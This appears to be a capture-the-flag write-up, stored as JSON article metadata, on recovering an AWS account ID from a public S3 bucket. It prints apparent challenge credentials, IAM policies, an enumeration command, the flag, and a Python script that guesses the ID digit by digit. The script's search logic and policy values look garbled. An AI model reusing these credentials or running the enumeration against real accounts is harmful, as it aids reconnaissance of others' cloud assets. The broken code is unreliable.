{"schemaVersion":"1.0","type":"Article","types":["Article"],"slug":"identifying-an-aws-account-id-from-a-public-s3-bucket-38eqq","url":"https://zyvop.com/identifying-an-aws-account-id-from-a-public-s3-bucket-38eqq","title":"Identifying an AWS Account ID from a Public S3 Bucket","subtitle":null,"tldr":"Identify the AWS Account ID from a Public S3 Bucket b Get account ID using S3 entrypoint: IP address: 54.204.171.32 Access Key ID: AKIAWHEOTHRFW4CEP7HK Secret k...","keywords":[],"entities":["I0veD","cyber security researcher","ZyVOP"],"keyTakeaways":["Identify the AWS Account ID from a Public S3 Bucket b Get account ID using S3 entrypoint: IP address: 54.204.171.32 Access Key ID: AKIAWHEOTHRFW4CEP7HK Secret key: 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 Port 80 of 54.204.171.32 opens the web site.","Visit the site to view the js source code, which is available for public reading in S3.","mega-big-tech.s3.amazonaws.comThere is no valid information, use‣Try blasting the ID Blasting principle: Use wildcards to blast the id and verify the return by whether it is Allowed."],"headings":["Identify the AWS Account ID from a Public S3 Bucket b","IP address: 54.204.171.32","Access Key ID: AKIAWHEOTHRFW4CEP7HK","Secret key: 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"],"outboundLinks":["https://mega-big-tech.s3.amazonaws.com/","https://tari.moe/9acdd7fa376946cfa9949282c1c7a528"],"contentText":"Identify the AWS Account ID from a Public S3 Bucket b Get account ID using S3 entrypoint: IP address: 54.204.171.32 Access Key ID: AKIAWHEOTHRFW4CEP7HK Secret key: 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 Port 80 of 54.204.171.32 opens the web site. Visit the site to view the js source code, which is available for public reading in S3. mega-big-tech.s3.amazonaws.comThere is no valid information, use‣Try blasting the ID Blasting principle: Use wildcards to blast the id and verify the return by whether it is Allowed. Explosive requirements: Any aws account, via ARN(987654321098)createRole trust policy and permission policy, they will bear the binding Permission policy { \"Version\": \"2012-10-17\", \"Statement\": [ { \"Effect\": \"Allow\", \"Action\": \"sts:AssumeRole\", \"Resource\": \"arn:aws:iam::471112733333:role/s3\" } ] }role trust strategy { \"Version\": \"2012-10-17\", \"Statement\": [ { \"Effect\": \"Allow\", \"Principal\": { \"AWS\": \"arn:aws:iam::471112733333:user/ctf-s3\" }, \"Action\": \"sts:AssumeRole\" } ] } Then bind s3 permissions { \"Version\": \"2012-10-17\", \"Statement\": [ { \"Sid\": \"Enum\", \"Effect\": \"Allow\", \"Action\": \"s3:GetObject\", \"Resource\": \"arn:aws:s3:::mega-big-tech/*\" }, { \"Sid\": \"Enum1\", \"Effect\": \"Allow\", \"Action\": \"s3:ListBucket\", \"Resource\": \"arn:aws:s3::987654321098:mega-big-tech\" } ] }Then create a security credential cli rule and copy the key Then scan it s3-account-search arn:aws:iam::471112733333:role/s3 s3://mega-big-tech flag is107513503799 Later, you can learn about tari's articles by accessing the public snapshot:Identify the AWS Account ID from a Public S3 Bucket,b | tari Blog Here we use the bisection method to reduce the calculation speed by bisecting the source code. First calculate the original time spent $command = \"s3-account-search arn:aws:iam::471112733333:role/s3 s3://mega-big-tech\" $startTime = Get-Date $output = Invoke-Expression $command $endTime = Get-Date $elapsedTime = $endTime - $startTime Write-Output \"Command output:\" Write-Output $output Write-Output \"Command took $($elapsedTime.TotalSeconds) seconds to complete.\" Almost 173s. Of course, this is enough for actual combat. The following is a little improved code, the effect is acceptable #!/usr/bin/env python import sys from argparse import ArgumentParser from typing import Tuple, Optional import boto3 as boto3 from aws_assume_role_lib import assume_role from botocore.exceptions import ClientError def run(): parser = ArgumentParser() parser.add_argument(\"--profile\", help=\"Source Profile\") parser.add_argument( \"role_arn\", help=\"ARN of the role to assume. This role should have s3:GetObject and/or s3:ListBucket permissions\", ) parser.add_argument(\"path\", help=\"s3 bucket or bucket/path to test with\") args = parser.parse_args() session = boto3.Session(profile_name=args.profile) bucket, key = to_s3_args(args.path) role_arn = args.role_arn # try accessing the bucket without any restrictions if not can_access_with_policy(session, bucket, key, role_arn, {}): print(f&amp;quot;{role_arn} cannot access {bucket}&amp;quot;, file=sys.stderr) exit(1) print(&amp;quot;Starting search (this can take a while)&amp;quot;) digits = &amp;quot;&amp;quot; # do 12 iterations, so we never have an infinite loop for _ in range(0, 12): new_digit = binary_search_digit(session, bucket, key, role_arn, digits) if new_digit is None: print(&amp;quot;Something went wrong, we couldn't find all 12 digits&amp;quot;) exit(1) digits += new_digit print(f&amp;quot;Current digits: {digits}&amp;quot;) print(f&amp;quot;Found account ID prefix: {digits}&amp;quot;) def binary_search_digit( session: boto3.session.Session, bucket: str, key: Optional[str], role_arn: str, current_digits: str, ) -&gt; Optional[str]: low, high = 0, 9 while low &lt;= high: mid = (low + high) // 2 test = f\"{current_digits}{mid}\" policy = get_policy(test) if can_access_with_policy(session, bucket, key, role_arn, policy): print(f\"Found: {test}\") return str(mid) else: # If mid is not valid, check if the next digit is valid next_test = f\"{current_digits}{mid + 1}\" next_policy = get_policy(next_test) if can_access_with_policy(session, bucket, key, role_arn, next_policy): print(f\"Found: {next_test}\") return str(mid + 1) else: high = mid - 1 return None def get_policy(digits: str): return { \"Version\": \"2012-10-17\", \"Statement\": [ { \"Sid\": \"AllowResourceAccount\", \"Effect\": \"Allow\", \"Action\": \"s3:\", \"Resource\": \"\", \"Condition\": { \"StringLike\": {\"s3:ResourceAccount\": [f\"{digits}*\"]}, }, }, ], } def can_access_with_policy( session: boto3.session.Session, bucket: str, key: Optional[str], role_arn: str, policy: dict, ): if not policy: assumed_role_session = assume_role(session, role_arn) else: assumed_role_session = assume_role(session, role_arn, Policy=policy) s3 = assumed_role_session.client(&amp;quot;s3&amp;quot;) if key: try: s3.head_object(Bucket=bucket, Key=key) return True except ClientError as e: if e.response.get(&amp;quot;Error&amp;quot;, {}).get(&amp;quot;Code&amp;quot;) == &amp;quot;403&amp;quot;: pass # try the next thing else: raise try: s3.head_bucket(Bucket=bucket) return True except ClientError as e: if e.response.get(&amp;quot;Error&amp;quot;, {}).get(&amp;quot;Code&amp;quot;) == &amp;quot;403&amp;quot;: pass # continue to default return False else: raise return False def to_s3_args(path: str) -&gt; Tuple[str, Optional[str]]: if path.startswith(\"s3://\"): path = path[5:] assert path, \"no bucket name provided\" parts = path.split(&amp;quot;/&amp;quot;) if len(parts) &amp;gt; 1: return parts[0], &amp;quot;/&amp;quot;.join(parts[1:]) # exactly 1 part return parts[0], None if name == \"main\": run()","contentHash":"sha256:8f73f85c8b7d4c17262189841bd928a9d20cc6355b1fa9854c965c924a104752","authorName":"I0veD","authorUrl":"https://zyvop.com/author/i0ved","authorSameAs":["https://www.cdxiaodong.life/","https://github.com/cdxiaodong","https://www.linkedin.com/in/%E6%A0%8B-%E7%A8%8B-167b89391/"],"category":null,"tags":[],"audience":"Software engineers and developers building applications with software development","tone":"Professional, cyber security researcher perspective","readingTimeMinutes":3,"wordCount":742,"faqs":null,"primaryTopic":null,"publishedAt":"2026-08-12T05:14:43.238Z","updatedAt":"2026-09-02T01:35:00.056Z","canonicalUrl":"https://www.cdxiaodong.life/article/4309da56-0d65-40a5-885b-7d9107f42d6a"}